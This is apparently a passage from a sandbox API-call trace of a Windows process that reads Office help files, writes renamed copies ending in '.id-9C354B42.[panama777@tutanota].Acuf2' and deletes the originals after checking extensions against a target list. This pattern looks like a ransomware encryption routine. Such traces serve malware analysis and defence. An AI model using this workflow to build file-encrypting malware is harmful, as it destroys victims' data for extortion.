	[0263.167] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0263.167] SetEndOfFile (hFile=0x32c) returned 1
	[0263.168] CloseHandle (hObject=0x32c) returned 1
	[0263.168] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.168] SetEndOfFile (hFile=0x354) returned 1
	[0263.170] CloseHandle (hObject=0x354) returned 1
	[0263.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc")) returned 1
	[0263.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65
	[0263.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65
	[0263.170] lstrlenW (lpString=".doc") returned 4
	[0263.170] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0263.170] lstrlenW (lpString=".docx") returned 5
	[0263.170] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0263.170] lstrlenW (lpString=".pdf") returned 4
	[0263.170] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0263.170] lstrlenW (lpString=".xls") returned 4
	[0263.170] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0263.170] lstrlenW (lpString=".xlsx") returned 5
	[0263.170] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0263.170] lstrlenW (lpString=".ppt") returned 4
	[0263.170] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0263.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65
	[0263.170] lstrlenW (lpString=".zip") returned 4
	[0263.170] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0263.171] lstrlenW (lpString=".rar") returned 4
	[0263.171] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0263.171] lstrlenW (lpString=".bz2") returned 4
	[0263.171] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0263.171] lstrlenW (lpString=".7z") returned 3
	[0263.171] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0263.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65
	[0263.171] lstrlenW (lpString=".dbf") returned 4
	[0263.171] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0263.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65
	[0263.171] lstrlenW (lpString=".1cd") returned 4
	[0263.171] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0263.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65
	[0263.171] lstrlenW (lpString=".jpg") returned 4
	[0263.171] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0263.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65
	[0263.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65
	[0263.171] lstrlenW (lpString=".doc") returned 4
	[0263.171] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0263.171] lstrlenW (lpString=".docx") returned 5
	[0263.171] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0263.171] lstrlenW (lpString=".pdf") returned 4
	[0263.171] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0263.171] lstrlenW (lpString=".xls") returned 4
	[0263.171] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0263.171] lstrlenW (lpString=".xlsx") returned 5
	[0263.171] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0263.171] lstrlenW (lpString=".ppt") returned 4
	[0263.171] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0263.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65
	[0263.171] lstrlenW (lpString=".zip") returned 4
	[0263.171] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0263.172] lstrlenW (lpString=".rar") returned 4
	[0263.172] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0263.172] lstrlenW (lpString=".bz2") returned 4
	[0263.172] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0263.172] lstrlenW (lpString=".7z") returned 3
	[0263.172] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0263.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65
	[0263.172] lstrlenW (lpString=".dbf") returned 4
	[0263.172] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0263.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65
	[0263.172] lstrlenW (lpString=".1cd") returned 4
	[0263.172] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0263.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65
	[0263.172] lstrlenW (lpString=".jpg") returned 4
	[0263.172] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0263.172] lstrcmpiW (lpString1=".HXT", lpString2=".Acuf2") returned 1
	[0263.172] lstrlenW (lpString="MSPUB.DEV_COL.HXT") returned 17
	[0263.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0263.172] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=209) returned 1
	[0263.172] CloseHandle (hObject=0x354) returned 1
	[0263.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt")) returned 0x20
	[0263.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0263.173] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.173] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0263.173] GetLastError () returned 0x0
	[0263.173] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0xd1, lpOverlapped=0x0) returned 1
	[0263.174] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0263.175] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.175] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0263.175] SetEndOfFile (hFile=0x32c) returned 1
	[0263.175] CloseHandle (hObject=0x32c) returned 1
	[0263.175] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.175] SetEndOfFile (hFile=0x354) returned 1
	[0263.180] CloseHandle (hObject=0x354) returned 1
	[0263.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.180] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt")) returned 1
	[0263.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65
	[0263.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65
	[0263.180] lstrlenW (lpString=".doc") returned 4
	[0263.180] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0263.181] lstrlenW (lpString=".docx") returned 5
	[0263.181] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0263.181] lstrlenW (lpString=".pdf") returned 4
	[0263.181] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0263.181] lstrlenW (lpString=".xls") returned 4
	[0263.181] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0263.181] lstrlenW (lpString=".xlsx") returned 5
	[0263.181] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0263.181] lstrlenW (lpString=".ppt") returned 4
	[0263.181] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0263.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65
	[0263.181] lstrlenW (lpString=".zip") returned 4
	[0263.181] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0263.181] lstrlenW (lpString=".rar") returned 4
	[0263.181] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0263.181] lstrlenW (lpString=".bz2") returned 4
	[0263.181] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0263.181] lstrlenW (lpString=".7z") returned 3
	[0263.181] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0263.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65
	[0263.181] lstrlenW (lpString=".dbf") returned 4
	[0263.181] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0263.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65
	[0263.181] lstrlenW (lpString=".1cd") returned 4
	[0263.181] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0263.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65
	[0263.181] lstrlenW (lpString=".jpg") returned 4
	[0263.181] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0263.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65
	[0263.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65
	[0263.181] lstrlenW (lpString=".doc") returned 4
	[0263.181] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0263.182] lstrlenW (lpString=".docx") returned 5
	[0263.182] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0263.182] lstrlenW (lpString=".pdf") returned 4
	[0263.182] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0263.182] lstrlenW (lpString=".xls") returned 4
	[0263.182] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0263.182] lstrlenW (lpString=".xlsx") returned 5
	[0263.182] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0263.182] lstrlenW (lpString=".ppt") returned 4
	[0263.182] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0263.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65
	[0263.182] lstrlenW (lpString=".zip") returned 4
	[0263.182] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0263.182] lstrlenW (lpString=".rar") returned 4
	[0263.182] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0263.182] lstrlenW (lpString=".bz2") returned 4
	[0263.182] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0263.182] lstrlenW (lpString=".7z") returned 3
	[0263.182] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0263.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65
	[0263.182] lstrlenW (lpString=".dbf") returned 4
	[0263.182] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0263.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65
	[0263.182] lstrlenW (lpString=".1cd") returned 4
	[0263.182] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0263.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT") returned 65
	[0263.182] lstrlenW (lpString=".jpg") returned 4
	[0263.182] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0263.182] lstrcmpiW (lpString1=".HXK", lpString2=".Acuf2") returned 1
	[0263.183] lstrlenW (lpString="MSPUB.DEV_F_COL.HXK") returned 19
	[0263.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0263.183] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=114) returned 1
	[0263.183] CloseHandle (hObject=0x354) returned 1
	[0263.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk")) returned 0x20
	[0263.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0263.183] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.183] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0263.184] GetLastError () returned 0x0
	[0263.184] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x72, lpOverlapped=0x0) returned 1
	[0263.184] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0263.185] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.185] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0263.185] SetEndOfFile (hFile=0x32c) returned 1
	[0263.185] CloseHandle (hObject=0x32c) returned 1
	[0263.185] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.185] SetEndOfFile (hFile=0x354) returned 1
	[0263.188] CloseHandle (hObject=0x354) returned 1
	[0263.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk")) returned 1
	[0263.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67
	[0263.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67
	[0263.188] lstrlenW (lpString=".doc") returned 4
	[0263.188] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0263.188] lstrlenW (lpString=".docx") returned 5
	[0263.188] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0263.188] lstrlenW (lpString=".pdf") returned 4
	[0263.188] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0263.188] lstrlenW (lpString=".xls") returned 4
	[0263.188] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0263.188] lstrlenW (lpString=".xlsx") returned 5
	[0263.188] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0263.188] lstrlenW (lpString=".ppt") returned 4
	[0263.188] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0263.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67
	[0263.188] lstrlenW (lpString=".zip") returned 4
	[0263.189] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0263.189] lstrlenW (lpString=".rar") returned 4
	[0263.189] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0263.189] lstrlenW (lpString=".bz2") returned 4
	[0263.189] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0263.189] lstrlenW (lpString=".7z") returned 3
	[0263.189] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0263.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67
	[0263.189] lstrlenW (lpString=".dbf") returned 4
	[0263.189] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0263.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67
	[0263.189] lstrlenW (lpString=".1cd") returned 4
	[0263.189] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0263.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67
	[0263.189] lstrlenW (lpString=".jpg") returned 4
	[0263.189] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0263.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67
	[0263.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67
	[0263.189] lstrlenW (lpString=".doc") returned 4
	[0263.189] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0263.189] lstrlenW (lpString=".docx") returned 5
	[0263.189] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0263.189] lstrlenW (lpString=".pdf") returned 4
	[0263.189] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0263.189] lstrlenW (lpString=".xls") returned 4
	[0263.189] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0263.189] lstrlenW (lpString=".xlsx") returned 5
	[0263.189] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0263.189] lstrlenW (lpString=".ppt") returned 4
	[0263.189] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0263.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67
	[0263.189] lstrlenW (lpString=".zip") returned 4
	[0263.190] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0263.190] lstrlenW (lpString=".rar") returned 4
	[0263.190] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0263.190] lstrlenW (lpString=".bz2") returned 4
	[0263.190] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0263.190] lstrlenW (lpString=".7z") returned 3
	[0263.190] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0263.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67
	[0263.190] lstrlenW (lpString=".dbf") returned 4
	[0263.190] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0263.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67
	[0263.190] lstrlenW (lpString=".1cd") returned 4
	[0263.190] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0263.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK") returned 67
	[0263.190] lstrlenW (lpString=".jpg") returned 4
	[0263.190] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0263.190] lstrcmpiW (lpString1=".HXK", lpString2=".Acuf2") returned 1
	[0263.190] lstrlenW (lpString="MSPUB.DEV_K_COL.HXK") returned 19
	[0263.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0263.190] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=113) returned 1
	[0263.191] CloseHandle (hObject=0x354) returned 1
	[0263.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk")) returned 0x20
	[0263.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0263.191] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.191] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0263.191] GetLastError () returned 0x0
	[0263.191] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x71, lpOverlapped=0x0) returned 1
	[0263.192] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0263.193] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
